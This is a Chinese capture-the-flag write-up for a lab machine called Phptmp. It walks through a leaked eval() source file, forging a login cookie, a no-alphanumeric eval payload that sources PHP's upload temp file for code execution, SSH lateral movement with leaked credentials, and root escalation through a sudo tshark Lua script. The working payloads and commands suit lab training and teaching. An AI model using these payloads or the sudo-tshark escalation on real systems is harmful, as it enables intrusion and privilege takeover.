Phptmp 靶机渗透 WP

等寒 · 2026-10-08 · 难度 中

靶机名称	Phptmp
平台 / 类型	Linux · 自建靶机（Debian trixie / Apache 2.4.68 / PHP 8.x / 内核 7.2.7-liquorix）
目标地址	192.168.56.110
开放端口	80（Apache）、22（OpenSSH 10.0p2）
核心考点	`eval` 无字母数字绕过 · PHP 上传临时文件 RCE · `sudo tshark` 提权
难度	中
结果	user + root 双 flag 均已取得

一、攻击链总览

```
[Kali] nmap -p- 192.168.56.110
          |
          +--> 80/tcp  Apache 2.4.68   "CDN Cache Engine" login page
          +--> 22/tcp  OpenSSH 10.0p2
          |
          +-- index.php.bak ----------> source leak: eval($_GET['rule'])
          |
          +-- admin:666666 -----------> cookie = base64("admin:" + md5(pw))
                     |
                     v
        [Kali] single request:  POST upload file  +  GET ?rule=
                     |
                     v
        . /???/<22-char glob, [@-[] anchor>   (source the uploaded temp file)
                     |
                     v
        [Target] www-data RCE -----> /home/welcome leaks: hello:#frJ9$wMbxbNva
                     |
                     v
        [Kali] ssh hello -----------> user flag
                     |
                     v
        sudo -l: (root) NOPASSWD: /usr/bin/tshark
                     |
                     v
        tshark -X lua_script: ------> os.execute() ------> root flag
```

阶段	手段	使用的凭据	结果
侦察	nmap + 目录探测	—	80 Apache + 22 SSH；index.php.bak 源码泄露

阶段	手段	使用的凭据	结果
打点	eval 黑名单绕过 + 上传临时文件 source	admin:666666	www-data RCE
横向	读世界可读的 /home/welcome	hello:#frJ9$wMbxbNva	user flag
提权	sudo tshark + -X lua_script	—	root flag

二、信息收集

2.1 端口与服务

```
[Kali] nmap -p- -Pn --min-rate 2000 192.168.56.110
80/tcp   open  http   Apache httpd 2.4.68 (Debian)
22/tcp   open  ssh    OpenSSH 10.0p2 Debian-7+deb13u4
```

判据：全端口仅 80/22 开放（6667/443/8080/2222/3306/6379 均 filtered/closed），攻击面收敛到 Web。

2.2 Web 指纹

```
[Kali] curl -sI http://192.168.56.110/
HTTP/1.1 200 OK
Server: Apache/2.4.68 (Debian)
Set-Cookie: PHPSESSID=...

[Kali] curl -s http://192.168.56.110/ | grep -iE "title|version"
<title>CDN Cache Engine</title>   Version 5.2.1
```

页面是「CDN 缓存规则引擎」的登录页，功能菜单只有 index.php / status.php / logs.php。判据：是登录页 → 存在鉴权门禁，需先拿到会话。

2.3 备份文件与目录探测

```
[Kali] for f in index status logs upload cache header footer login config db auth; do
         code=$(curl -s -o /dev/null -w "%{http_code}" http://192.168.56.110/$f.php.bak)
         echo "$f.php.bak  $code"
       done
index.php.bak   200
status.php.bak  404
logs.php.bak    404
... (     404)
```

判据：只有 index.php.bak 返回 200，其余备份与 ~/.swp 变体全部 404。攻击面即 index.php。

```
[Kali] curl -s http://192.168.56.110/index.php.bak
```

三、打点（初始立足点）

3.1 源码审计：eval 直接执行用户输入

index.php.bak 中 rule 参数被直接送进 eval：

```
if (isset($_GET['rule'])) {
    $rule_expr = $_GET['rule'];
    if (strlen($rule_expr) > 45)                              REJECTED
    elseif (preg_match("/[A-Za-z0-9~^&|*_$]/", $rule_expr))   BLOCKED
    else { ob_start(); eval($rule_expr); $eval_output = ob_get_clean(); }
}
```

提取出三条约束：

约束	值	绕过思路
长度	≤ 45 字符	payload 必须极简
黑名单	字母、数字及 ~ ^ & | * _ $	用 PHP 标签 + 反引号 + glob 表达命令
回显	ob_start()/ob_get_clean()，非空则输出到 <pre class='output-pre'>	这是唯一输出通道，所有结果必须走它

可用字符集实测为：空格 ! " # % ' ( ) + , - . / : ; < = > ? @ [\ ] 反引号 { }。

3.2 认证：可预测的会话 Cookie

登录页存在弱口令 admin:666666。抓取 auth.php 后发现会话值是确定性计算：

```
auth.php:
  $USERS = ['admin' => '666666'];
  cookie value = base64("admin:" + md5($password))

[Kali] echo -n "admin:$(echo -n 666666 | md5sum | cut -d' ' -f1)" | base64
YWRtaW46ZjM3OWVhZjNjODMxYjA0ZGUxNTM0NjlkMWJlYzM0NWU=
```

URL 编码 = 后即为可用 Cookie：

```
cdn_auth=YWRtaW46ZjM3OWVhZjNjODMxYjA0ZGUxNTM0NjlkMWJlYzM0NWU%3D
```

```
[Kali] curl -s -o /dev/null -w "%{http_code}\n" http://192.168.56.110/index.php
302                                             #   cookie ->   login.php

[Kali] curl -s -b "cdn_auth=YWRtaW46ZjM3OWVhZjNjODMxYjA0ZGUxNTM0NjlkMWJlYzM0NWU%3D" \
         http://192.168.56.110/index.php | grep -c "index.php"
6                                               #   cookie ->
```

判据：带 Cookie 200 且回显菜单，不带则 302 → Cookie 可确定性伪造，无需爆破。

3.3 构造无字母数字的执行通道

字母被禁，echo、system 都写不出来。可行组合是：?> 结束 PHP 段 → <?= 短标签回显 → 反引号执行 shell：

```
?><?=`CMD`?>
```

CMD 部分只能用 glob 表达（? 匹配单字符，[ ] 字符集，-
范围）。字典序第一的匹配项才是被执行的命令，其余成为参数。用 /???/?????（5 字符）验证通道：

```
[Kali] # rule = ?><?=`/???/????? /???/?????`?>
-> /bin/b2sum /bin/b2sum
```

/???/????? 的字典序第一个匹配是
/bin/b2sum，它会逐个打印文件的哈希与路径，等于一个"文件列举器"，可用来确认通道贯通并侦察目录。

判据：响应 <pre class='output-pre'> 里出现 hash path 形式的输出 → code execution 成立。

3.4 利用 PHP 上传临时文件落地 RCE

index.php 没有上传功能，但任何 multipart POST 都会让 PHP 在 /tmp
落一个上传临时文件：文件名随机、内容就是上传的数据（不受 rule
黑名单约束），并且只在本次请求存活。

因此把「上传」与「执行」压到同一个请求里：POST 上传一个 shell 脚本，同时 GET 传 rule，用 shell 的 .（source）把它读进来执行。

本机临时文件名实测为 php + 19 位随机 = 22 位，例如 /tmp/php7tkoak7qqci9firVXjI。

```
rule = ?><?=`. /???/??????????????????[@-[]`?>
```

三段拆解：

- . /???/ —— . 是 source；/???/ 用 glob 表示 /tmp 等所有 3 字符目录。
- 其后 22 个字符匹配文件名，长度必须按实测的 22 位写。
- 最后一位用 [@-[]（ASCII @–[，即大写字母）当锚点：/bin
  里同长度的名字全是小写，会被排除掉，确保命中的是我们的临时文件。

末位恰好是大写的概率约 26/62 ≈ 42%，未命中就重发几发。

```
payload.sh:
  id
  cat /home/welcome 2>&1
  ls -la /home 2>&1

[Kali] $c="cdn_auth=YWRtaW46ZjM3OWVhZjNjODMxYjA0ZGUxNTM0NjlkMWJlYzM0NWU%3D"
[Kali] $b="http://192.168.56.110/index.php"
[Kali] $pl='?><?=`'+'. /???/'+('?'*21)+'[@-[]'+'`?>'
[Kali] $u=$b+'?rule='+[uri]::EscapeDataString($pl)
[Kali] curl.exe -s -m 22 -b $c -F "f=@payload.sh" $u
```

回显：

```
<pre class='output-pre'>
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/tmp/php7tkoak7qqci9firVXjI      # 22-char temp file
WELECOME=hello:#frJ9$wMbxbNva
drwx------ 4 hello hello 4096 ... hello
</pre>
```

判据：回显含 uid=33(www-data) → 拿到低权 shell。同时泄露了 /home/welcome
中的凭据（世界可读文件），这是通关的钥匙。

四、提权

4.1 本地枚举（www-data 身份）

```
[  ] id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

[  ] ls -la /home
drwxr-xr-x  4 root  root  ... welcome        # world-readable
drwx------  4 hello hello ... hello          # 700, not readable

[  ] cat /home/welcome
WELECOME=hello:#frJ9$wMbxbNva

[  ] cat /etc/passwd | tail -n 1
hello:x:1000:1000::/home/hello:/bin/bash

[  ] find / -perm -4000 -type f 2>/dev/null
/usr/bin/mount  /usr/bin/passwd  /usr/bin/sudo  /usr/bin/su
/usr/bin/chsh   /usr/bin/gpasswd /usr/bin/umount /usr/bin/newgrp ...

[  ] find / -xdev -iname "*flag*" 2>/dev/null
# only kernel headers, no real flag
```

判据：SUID 是标准集（无自定义 SUID）；flag 不在 www-data 可读范围内；但 /home/welcome 泄露了 hello 的口令。www-data 无 sudo 权限，横向到 hello 才是正解。

4.2 横向到 hello（user flag）

```
[Kali] ssh hello@192.168.56.110
hello@192.168.56.110's password: #frJ9$wMbxbNva
hello@Phptmp:~$ id
uid=1000(hello) gid=1000(hello) groups=1000(hello),24(cdrom),25(floppy),...
hello@Phptmp:~$ cat ~/user.txt
flag{user-bb4a8dc5f1e96e6308f0bfbc3cb83249}
```

4.3 提权 root：sudo tshark + Lua 脚本

```
[  ] sudo -n -l
User hello may run the following commands on Phptmp:
    (root) NOPASSWD: /usr/bin/tshark
```

tshark 支持 -X lua_script:<file>，在加载 Lua 脚本阶段就以当前（root）身份执行，属于 GTFOBins 型提权点。

```
[  ] cat > /tmp/x.lua <<'EOF'
os.execute("cat /root/root.txt > /tmp/r.out; ls -la /root >> /tmp/r.out; chmod 666 /tmp/r.out")
EOF

[  ] sudo -n /usr/bin/tshark -X lua_script:/tmp/x.lua -r /dev/null
[  ] cat /tmp/r.out
total 32
-rw------- 1 root root  41 ... root.txt
-rw------- 1 root root  22 ... root_pass.txt
flag{root-8b5a7c6d73bb7aec65365535e4335698}
```

判据：/tmp/r.out 中出现 flag{root-...} → 提权成功。（/root/root_pass.txt 是 root 明文口令 NJELpYUt71qgm9e8gDmn，非必需。）

五、flag 汇总表

名称	值	来源路径
user flag	flag{user-bb4a8dc5f1e96e6308f0bfbc3cb83249}	/home/hello/user.txt
root flag	flag{root-8b5a7c6d73bb7aec65365535e4335698}	/root/root.txt

辅助凭据（非 flag，但为通关必需）：

名称	值	来源路径
Web 后台	admin:666666	登录页弱口令
Web 会话 Cookie	cdn_auth=YWRtaW46ZjM3OWVhZjNjODMxYjA0ZGUxNTM0NjlkMWJlYzM0NWU%3D	base64("admin:"+md5("666666"))
SSH 口令	hello:#frJ9$wMbxbNva	/home/welcome（世界可读）
root 口令	root:NJELpYUt71qgm9e8gDmn	/root/root_pass.txt

六、弯路与踩坑

现象	根因	正确做法
所有带 ?rule= 的请求返回 code=000，静态 GET 却正常 → 误判"靶机按频率封禁"，绕了几小时	PowerShell 里 "$b?rule=$e" 的 ? 允许出现在变量名中，$b?rule 被当成未定义变量→展开为空→URL 变成 =... → curl 报错误码 6（Could not resolve host）	先拼变量 $u=$b+'?rule='+$e，或写 ${b}?rule=；判据上错误码 6 = URL 问题，不是封禁（封禁是 RST/超时）
. /???/<22?> 执行后无回显	/???/ 会同时匹配 /bin /etc /tmp，字典序 /bin 在前，. 只 source 第一个 → 读到了 /bin 下同长度的小写文件（二进制）	末位加 [@-[] 大写锚点排除 /bin；或先枚举临时文件真实路径再 source
按老经验用 9 位 glob（phpXXXXXX）始终不命中	本机 PHP 8.x 的上传临时文件名是 22 位（php + 19 位随机）	以实测为准：ls /tmp 看到几位就用几位
裸写 . /???/... 返回 HTTP 500	反引号外的 . 被 PHP 当成字符串连接符	把 . 整段放进反引号内：`. /???/`
枚举目录时 Apache worker 挂死、后续请求全部超时	命令 glob 取 3~7 字符会命中 /dev/random，命令读内容 → 无限阻塞	命令 glob 选 8+ 字符规避 /dev；例如用 /???/????? （b2sum）而非 /???/??
SSH 用 Web 口令做复用测试，全部失败且之后连接被重置	靶机 SSH 侧对多次失败有防护，源 IP 被打黑	不要在 SSH 上盲目爆破/复用；本例口令其实藏在 /home/welcome

现象	根因	正确做法
有现成工具却闷头手搓脚本（curl 循环、手拼 URL）	没先盘点可用工具，把"手搓"当默认手段	动手前先报工具菜单（E:\tools + MCP + lib/），说明"可用 X/Y/Z，不必手搓"

七、结论

Phptmp 难度中等，核心是两道"构造题"叠加：先用 ?><?= + 反引号 + glob 突破 eval 的字母数字黑名单，再把 PHP 上传临时文件当成"黑名单外"的代码载体，用 . source 落地 RCE。两个坑点必须掌握：临时文件名 22 位、/???/ 会用字典序把 /bin 抢在前面（需 [@-[] 锚点）。

拿到 www-data 后一路平坦：世界可读的 /home/welcome 直接泄露 SSH 口令，提权点是最小权限配置失当的 sudo tshark。最大教训不在靶机侧，而在工具侧——curl code=000 被误读成"靶机封禁"，实为 PowerShell 拼 URL 的变量名解析坑，白绕数小时。